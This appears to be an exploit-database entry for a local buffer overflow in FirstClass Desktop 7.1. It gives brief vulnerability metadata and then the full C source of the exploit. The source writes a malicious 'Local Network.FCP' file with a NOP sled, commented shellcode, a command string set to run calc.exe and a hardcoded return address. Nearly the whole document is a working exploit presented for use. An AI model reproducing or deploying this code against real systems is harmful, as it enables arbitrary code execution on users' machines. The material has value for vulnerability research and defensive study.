FirstClass Desktop 7.1 (latest) buffer overflow exploit

vendor:
FirstClass Desktop
by:
I2S-LaB
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: FirstClass Desktop
Affected Version From: 7.1
Affected Version To: 7.1 (latest)
Patch Exists: NO
Related CWE:
CPE: a:firstclass:firstclass_desktop:7.1
Metasploit:
Other Scripts:
Platforms Tested: Windows
FirstClass Desktop 7.1 (latest) buffer overflow exploit

This is a buffer overflow exploit for FirstClass Desktop 7.1. It allows an attacker to execute arbitrary code by overflowing a buffer in the application. The exploit is discovered and coded by I2S-LaB.
Mitigation:

The vendor should release a patch to fix the buffer overflow vulnerability in FirstClass Desktop 7.1.
Source
Exploit-DB raw data:

/***********************************************************
++++++++++++++++++++++++++++++++++++++++++++++++++++
####################################################
#           FirstClass Desktop 7.1 (latest) buffer overflow exploit               #
####################################################
Discovered and coded by I2S-LaB.

URL     : http://www.I2S-LaB.com
contact : contact[at]I2S-LaB.com

++++++++++++++++++++++++++++++++++++++++++++++++++++
Compile it with cl.exe (VC++6)
***********************************************************/

#include <windows.h>

void main (int argc, char *argv[])
{

	HANDLE FCP;	
	DWORD NumberOfBytesWritten;
	unsigned char *p, 

		FC_FILE[] = "Local Network.FCP",
		PATH[]   = "C:\\Program Files\\FirstClass\\Fcp\\",
			
		rawData[] =

		/////////////////////////////////////////////////////////////////
		// FC file data
		/////////////////////////////////////////////////////////////////
		"\x43\x4F\x4E\x4E\x54\x59\x50\x45\x20\x3D\x20\x38\x0D\x0A\x46\x43" 
		"\x50\x45\x4E\x43\x52\x59\x50\x54\x20\x3D\x20\x31\x0D\x0A\x44\x4C"
		"\x53\x45\x4E\x44\x20\x3D\x20\x30\x0D\x0A\x44\x4C\x45\x52\x52\x53"
		"\x20\x3D\x20\x30\x0D\x0A\x44\x4C\x52\x43\x56\x20\x3D\x20\x30\x0D" 
		"\x0A\x4D\x44\x4D\x44\x42\x47\x20\x3D\x20\x30\x0D\x0A\x53\x4C\x44" 
		"\x42\x47\x20\x3D\x20\x30\x0D\x0A\x54\x43\x50\x54\x58\x57\x49\x4E" 
		"\x20\x3D\x20\x31\x30\x30\x30\x30\x0D\x0A\x54\x43\x50\x52\x58\x42" 
		"\x55\x46\x20\x3D\x20\x31\x30\x30\x30\x30\x0D\x0A\x54\x43\x50\x52" 
		"\x45\x4D\x50\x4F\x52\x54\x20\x3D\x20\x35\x31\x30\x0D\x0A\x50\x52" 
		"\x4F\x58\x59\x50\x4F\x52\x54\x20\x3D\x20\x22"
		
		/////////////////////////////////////////////////////////////////
		// MASS NOP LIKE : 'A' = inc ecx
		/////////////////////////////////////////////////////////////////
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		
	
		/*
		 * Fcclient Specific shellcode [78 bytes]
		 *****************************************************************
			:00401006 EB47                    jmp 0040104F
			:00401008 5A                      pop edx
			:00401009 33FF                    xor edi, edi
			:0040100B 8BEC                    mov ebp, esp
			:0040100D 57                      push edi
			:0040100E 52                      push edx
			:0040100F 57                      push edi
			:00401010 6845786563              push 63657845
			:00401015 4F                      dec edi
			:00401016 81EFFFA89691            sub edi, 9196A8FF
			:0040101C 57                      push edi
			:0040101D 68454C3332              push 32334C45
			:00401022 684B45524E              push 4E52454B
			:00401027 8D5DE4                  lea ebx, dword ptr [ebp-1C]
			:0040102A 53                      push ebx
			:0040102B 33FF                    xor edi, edi
			:0040102D 81EF589D9DFF            sub edi, FF9D9D58
			:00401033 FF17                    call dword ptr [edi]
			:00401035 8D5DED                  lea ebx, dword ptr [ebp-13]
			:00401038 53                      push ebx
			:00401039 50                      push eax
			:0040103A 6681F75103              xor di, 0351
			:0040103F 4F                      dec edi
			:00401040 FF17                    call dword ptr [edi]
			:00401042 6A01                    push 00000001
			:00401044 FF75F8                  push [ebp-08]
			:00401047 FFD0                    call eax
			:00401049 6683EF4C                sub di, 004C
			:0040104D FFD7                    call edi
			:0040104F E8B4FFFFFF              call 00401008
			**********************************************************
			*
		 */

		"\xEB\x47\x5A\x33\xFF\x8B\xEC\x57\x52\x57\x68\x45\x78\x65\x63\x4F"
		"\x81\xEF\xFF\xA8\x96\x91\x57\x68\x45\x4C\x33\x32\x68\x4B\x45\x52" 
		"\x4E\x8D\x5D\xE4\x53\x33\xFF\x81\xEF\x58\x9D\x9D\xFF\xFF\x17\x8D" 
		"\x5D\xED\x53\x50\x66\x81\xF7\x51\x03\x4F\xFF\x17\x6A\x01\xFF\x75" 
		"\xF8\xFF\xD0\x66\x83\xEF\x4C\xFF\xD7\xE8\xB4\xFF\xFF\xFF"
 
		"calc.exe & " // to execute

		////////////////////////////////////////////////////////////////
		// OTHER DATA
		////////////////////////////////////////////////////////////////
		"\x22\x0A\x0D\x0A\x50\x52\x4F\x58\x59\x41\x44\x44\x52\x20" 
		"\x3D\x20\x22\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x45\x45\x45" 
		"\x45\x44\x44"

		/////////////////////////////////////////////////////////////////
		// Return Address
		/////////////////////////////////////////////////////////////////
		"\x5f\x75\xC2\x00";

		// Banner
		printf ("###############################################\n"
			"FirstClass Client local buffer overflow Exploit\n"
			"###############################################\n"
			"Discovered & coded by I2S-LaB.\n\n"
			"URL  : http://www.I2S-LaB.com\n"
			"MAIL : Contact[at]I2S-LaB.com\n\n");


		if ( !argv[1]) argv[1] = FC_FILE;

		(argc > 2 ) ? (p = argv[2]) : (p = PATH);

		if ( !(SetCurrentDirectory( p ) ) )
		{
			printf ("cannot set current directory to %s\nexiting.\n", p);
			ExitProcess(0);
		}

		if (!lstrcmpi (argv[1], "/restore") )
	
			printf ("Restore the backup file...%s\n", 
		CopyFile ("Local Network.BAK", FC_FILE, FALSE) ? "ok" : "Error : backup file not found!\n");

		else if ( !lstrcmpi (argv[1], "/run"))
		{
			printf ("Saving the Local Network file...%s\n", 
			CopyFile (FC_FILE, "Local Network.BAK", TRUE) ? "ok" : "Backup file cannot be made");


			printf ("Opening the Local Network file...");
				FCP = CreateFile (FC_FILE, GENERIC_WRITE, 
						  FILE_SHARE_WRITE, NULL,
						  OPEN_EXISTING,
						  FILE_ATTRIBUTE_NORMAL,NULL);

			if (FCP == INVALID_HANDLE_VALUE)
			{
				printf ("cannot open Local Network file, exiting!\n");
				ExitProcess (-1);
			}

	printf ("ok\nWriting the Local Network File...%s\n",
	WriteFile (FCP, rawData, strlen (rawData) + 1, &NumberOfBytesWritten, NULL) ? "ok" : "Write file error!");
		}

	else printf ("usage : %s /RUN | /RESTORE [path to Local Network.FCP]\n\n"
	"/RUN     : launch the xploit against \"Local Network.FCP\"\n"
	"/RESTORE : Restore the previous \"Local Network.FCP\"\n\n"
	"[path to Local Network.FCP] : Optional,\ndefine the path of the \"Local Network.FCP\" to exploit.\n"
	"Default is %s\n", argv[0], PATH);
}




// milw0rm.com [2004-04-07]